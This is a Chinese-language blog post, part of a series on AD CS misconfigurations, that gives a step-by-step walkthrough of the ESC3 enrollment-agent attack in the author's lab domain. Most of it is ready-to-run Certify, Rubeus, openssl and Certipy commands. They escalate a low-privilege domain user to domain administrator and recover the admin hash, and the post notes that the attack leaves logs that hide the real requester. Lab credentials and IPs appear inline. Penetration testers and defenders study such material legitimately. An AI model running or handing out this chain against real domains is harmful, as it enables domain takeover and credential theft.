AD域-ADCS错误配置-ESC3
2023-10-08 / 共计1318 字
AD域-ADCS错误配置-ESC3
勇敢的人先享受世界!
People who are brave can enjoy the world first!
ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
从 AD域-ADCS错误配置-ESC1 可知ESC1是通过伪造证书申请用户身份来获取域管权限,而ESC3获取域管权限则是通过证书代理申请,通过普通用户代理域管注册,从而获取域管权限。
ESC3前提条件:
1. 企业 CA 允许低特权用户注册权限。 (默认)
2. 经理审批已禁用。 (默认)
3. 无需授权签名。 (默认)
4. 过于宽松的证书模板安全描述符允许证书低特权用户的注册权。
5. 证书模板定义证书请求代理 EKU。 证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许请求其他证书代表其他主体的模板。
环境
ADCS服务器(我的域控与ADCS服务在一台服务器上)中运行中输入certtmpl.msc打开证书模板控制台进行复制代理注册模板,并命名为ESC3: 在安全中为Domain Users添加注册权限(满足前提条件4. 过于宽松的证书模板安全描述符允许证书低特权用户的注册权。):
扩展中查看应用程序策略为证书申请代理(满足前提条件5. 证书模板定义证书请求代理 EKU。 证书请求代理 OID (1.3.6.1.4.1.311.20.2.1) 允许请求其他证书代表其他主体的模板。):
域内
通过工具Certify.exe 探测是否存在ESC3模板错误,下图中可以看到存在ESC3配置不当,pkiextendedkeyusage 为证书申请代理,并且Domain Users 拥有注册权限:
Certify.exe find /vulnerable
以Domain Users身份注册ESC3证书:
Certify.exe request /ca: "DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA" /template:ESC3
将申请到的pem格式证书转换成pfx格式:
openssl pkcs12 -in ESC3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ESC3.pfx
接下来就到了ESC3最重要的步骤,通过注册到的ESC3.pfx代理域管Administrator去注册其他证书(这里选择的是User证书模版,创建ADCS自带的):
Certify.exe request /ca:"DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA" /template:User /onbehalfof:t0ngmystictesta\administrator /enrollcert:ESC3.pfx
同样将pem格式证书转换成pfx格式:
openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx
未使用administrator.pfx证书请求tgt前无法访问域控服务器:
利用工具rubeus.exe,以administrator.pfx证书请求TGT并注入内存,从而获取域管权限:
rubeus.exe asktgt /user:administrator /certificate:C\Users\user1\Desktop\Certify-main\Certify\bin\x86\Debug\administrator.pfx /cd:192.168.111.11 /ptt
可以看到,请求到TGT后,我们就有了域管权限去访问域控服务器:
在ADCS证书服务器中可以看到请求 用户(User) 的是administrator用户,而并非低权限的User1用户(通过ESC3获取到的域管权限有一定的隐藏效果):
域外
利用工具certipy探测是否存在ESC3配置不当:
certipy find -u [email protected] -p Testad@1234 -dc-ip 192.168.111.11 -vulnerable -debug
可以看到ESC3证书模版满ESC3的条件:
以user1身份注册ESC3证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC3 -debug
使用user1身份注册到的证书user1.pfx代理域管administrator注册User证书模版,从而获取administrator.pfx:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template User -on-behif-of t0ngmystictesta\Administrator -pfx user1.pfx -debug
这时administrator.pfx则已经拥有了域管adminsitrator的身份了,从而获取域管的hash:
certipy auth -dc-ip 192.168.111.11 -pfx administrator.pfx
同域内利用一样在ADCS服务器中记录请求 用户(User) 的是域管administrator:
文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!
如果文章对您有帮助
部分文章会发布公众号!
感谢您的支持!